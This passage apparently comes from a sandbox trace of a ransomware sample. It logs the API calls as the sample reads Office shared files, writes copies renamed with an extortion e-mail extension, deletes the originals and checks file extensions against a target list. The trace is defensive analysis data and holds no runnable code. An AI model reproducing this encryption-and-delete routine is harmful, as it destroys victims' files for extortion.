lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x1de8, lpOverlapped=0x0) returned 1 [0217.208] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0217.209] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.209] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0217.209] SetEndOfFile (hFile=0x1f8) returned 1 [0217.209] CloseHandle (hObject=0x1f8) returned 1 [0217.209] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.209] SetEndOfFile (hFile=0x20c) returned 1 [0217.210] CloseHandle (hObject=0x20c) returned 1 [0217.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.210] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0217.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.210] lstrlenW (lpString=".doc") returned 4 [0217.210] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0217.210] lstrlenW (lpString=".docx") returned 5 [0217.210] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0217.210] lstrlenW (lpString=".pdf") returned 4 [0217.210] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0217.210] lstrlenW (lpString=".xls") returned 4 [0217.210] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0217.210] lstrlenW (lpString=".xlsx") returned 5 [0217.210] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0217.211] lstrlenW (lpString=".ppt") returned 4 [0217.211] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.211] lstrlenW (lpString=".zip") returned 4 [0217.211] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0217.211] lstrlenW (lpString=".rar") returned 4 [0217.211] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString=".bz2") returned 4 [0217.211] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString=".7z") returned 3 [0217.211] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0217.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.211] lstrlenW (lpString=".dbf") returned 4 [0217.211] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.211] lstrlenW (lpString=".1cd") returned 4 [0217.211] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.211] lstrlenW (lpString=".jpg") returned 4 [0217.211] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.211] lstrlenW (lpString=".doc") returned 4 [0217.211] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString=".docx") returned 5 [0217.211] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0217.211] lstrlenW (lpString=".pdf") returned 4 [0217.211] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString=".xls") returned 4 [0217.211] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0217.211] lstrlenW (lpString=".xlsx") returned 5 [0217.211] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0217.211] lstrlenW (lpString=".ppt") returned 4 [0217.211] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.211] lstrlenW (lpString=".zip") returned 4 [0217.211] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0217.211] lstrlenW (lpString=".rar") returned 4 [0217.211] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString=".bz2") returned 4 [0217.211] lstrcmpiW (lpString1=".bz2", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString=".7z") returned 3 [0217.211] lstrcmpiW (lpString1=".7z", lpString2="TTF") returned -1 [0217.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.211] lstrlenW (lpString=".dbf") returned 4 [0217.211] lstrcmpiW (lpString1=".dbf", lpString2=".TTF") returned -1 [0217.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.211] lstrlenW (lpString=".1cd") returned 4 [0217.212] lstrcmpiW (lpString1=".1cd", lpString2=".TTF") returned -1 [0217.212] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0217.212] lstrlenW (lpString=".jpg") returned 4 [0217.212] lstrcmpiW (lpString1=".jpg", lpString2=".TTF") returned -1 [0217.212] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0217.212] lstrlenW (lpString="MSOEURO.DLL") returned 11 [0217.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.212] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=31104) returned 1 [0217.212] CloseHandle (hObject=0x20c) returned 1 [0217.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 0x20 [0217.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.212] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.212] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.213] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.213] GetLastError () returned 0x0 [0217.213] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x7980, lpOverlapped=0x0) returned 1 [0217.222] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x7990, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x7990, lpOverlapped=0x0) returned 1 [0217.222] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.223] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0217.223] SetEndOfFile (hFile=0x1f8) returned 1 [0217.223] CloseHandle (hObject=0x1f8) returned 1 [0217.223] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.223] SetEndOfFile (hFile=0x20c) returned 1 [0217.224] CloseHandle (hObject=0x20c) returned 1 [0217.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.224] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll")) returned 1 [0217.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.224] lstrlenW (lpString=".doc") returned 4 [0217.224] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.224] lstrlenW (lpString=".docx") returned 5 [0217.224] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0217.224] lstrlenW (lpString=".pdf") returned 4 [0217.224] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.224] lstrlenW (lpString=".xls") returned 4 [0217.224] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.224] lstrlenW (lpString=".xlsx") returned 5 [0217.224] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0217.224] lstrlenW (lpString=".ppt") returned 4 [0217.224] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.224] lstrlenW (lpString=".zip") returned 4 [0217.224] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.224] lstrlenW (lpString=".rar") returned 4 [0217.224] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.224] lstrlenW (lpString=".bz2") returned 4 [0217.224] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.225] lstrlenW (lpString=".7z") returned 3 [0217.225] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.225] lstrlenW (lpString=".dbf") returned 4 [0217.225] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.225] lstrlenW (lpString=".1cd") returned 4 [0217.225] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.225] lstrlenW (lpString=".jpg") returned 4 [0217.225] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.225] lstrlenW (lpString=".doc") returned 4 [0217.225] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0217.225] lstrlenW (lpString=".docx") returned 5 [0217.225] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0217.225] lstrlenW (lpString=".pdf") returned 4 [0217.225] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0217.225] lstrlenW (lpString=".xls") returned 4 [0217.225] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0217.225] lstrlenW (lpString=".xlsx") returned 5 [0217.225] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0217.225] lstrlenW (lpString=".ppt") returned 4 [0217.225] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0217.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.225] lstrlenW (lpString=".zip") returned 4 [0217.225] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0217.225] lstrlenW (lpString=".rar") returned 4 [0217.225] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0217.225] lstrlenW (lpString=".bz2") returned 4 [0217.225] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0217.225] lstrlenW (lpString=".7z") returned 3 [0217.225] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0217.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.225] lstrlenW (lpString=".dbf") returned 4 [0217.225] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0217.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.225] lstrlenW (lpString=".1cd") returned 4 [0217.225] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0217.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL") returned 63 [0217.225] lstrlenW (lpString=".jpg") returned 4 [0217.225] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0217.226] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0217.226] lstrlenW (lpString="msgfilt.dll") returned 11 [0217.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.227] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=38768) returned 1 [0217.227] CloseHandle (hObject=0x20c) returned 1 [0217.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0217.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.227] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.227] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.236] GetLastError () returned 0x0 [0217.236] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x9770, lpOverlapped=0x0) returned 1 [0217.265] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0217.266] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.266] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0217.266] SetEndOfFile (hFile=0x1f8) returned 1 [0217.267] CloseHandle (hObject=0x1f8) returned 1 [0217.267] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.267] SetEndOfFile (hFile=0x20c) returned 1 [0217.268] CloseHandle (hObject=0x20c) returned 1 [0217.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.268] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0217.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.268] lstrlenW (lpString=".doc") returned 4 [0217.268] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.268] lstrlenW (lpString=".docx") returned 5 [0217.268] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0217.268] lstrlenW (lpString=".pdf") returned 4 [0217.268] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.268] lstrlenW (lpString=".xls") returned 4 [0217.268] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.268] lstrlenW (lpString=".xlsx") returned 5 [0217.268] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0217.268] lstrlenW (lpString=".ppt") returned 4 [0217.268] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.268] lstrlenW (lpString=".zip") returned 4 [0217.268] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.268] lstrlenW (lpString=".rar") returned 4 [0217.268] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.268] lstrlenW (lpString=".bz2") returned 4 [0217.269] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.269] lstrlenW (lpString=".7z") returned 3 [0217.269] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.269] lstrlenW (lpString=".dbf") returned 4 [0217.269] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.269] lstrlenW (lpString=".1cd") returned 4 [0217.269] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.269] lstrlenW (lpString=".jpg") returned 4 [0217.269] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.270] lstrlenW (lpString=".doc") returned 4 [0217.270] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0217.270] lstrlenW (lpString=".docx") returned 5 [0217.270] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0217.270] lstrlenW (lpString=".pdf") returned 4 [0217.270] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0217.270] lstrlenW (lpString=".xls") returned 4 [0217.270] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0217.270] lstrlenW (lpString=".xlsx") returned 5 [0217.270] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0217.270] lstrlenW (lpString=".ppt") returned 4 [0217.270] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0217.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.270] lstrlenW (lpString=".zip") returned 4 [0217.270] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0217.270] lstrlenW (lpString=".rar") returned 4 [0217.270] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0217.270] lstrlenW (lpString=".bz2") returned 4 [0217.270] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0217.270] lstrlenW (lpString=".7z") returned 3 [0217.270] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0217.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.270] lstrlenW (lpString=".dbf") returned 4 [0217.270] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0217.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.270] lstrlenW (lpString=".1cd") returned 4 [0217.270] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0217.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0217.270] lstrlenW (lpString=".jpg") returned 4 [0217.270] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0217.270] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0217.270] lstrlenW (lpString="odffilt.dll") returned 11 [0217.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.271] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2e5ff1c | out: lpFileSize=0x2e5ff1c*=1312656) returned 1 [0217.271] CloseHandle (hObject=0x20c) returned 1 [0217.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll")) returned 0x20 [0217.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0217.271] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.271] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.271] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0217.272] GetLastError () returned 0x0 [0217.272] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0217.309] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesWritten=0x2e5fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0217.323] ReadFile (in: hFile=0x20c, lpBuffer=0x3a10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, lpNumberOfBytesRead=0x2e5fed4*=0x407a0, lpOverlapped=0x0) returned 1 [0217.332] WriteFile (in: hFile=0x1f8, lpBuffer=0x3a10020*, nNumberOfBytesToWrite=0x407b0, lpNumberOfBytesWritten=0x2e5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a10020*, 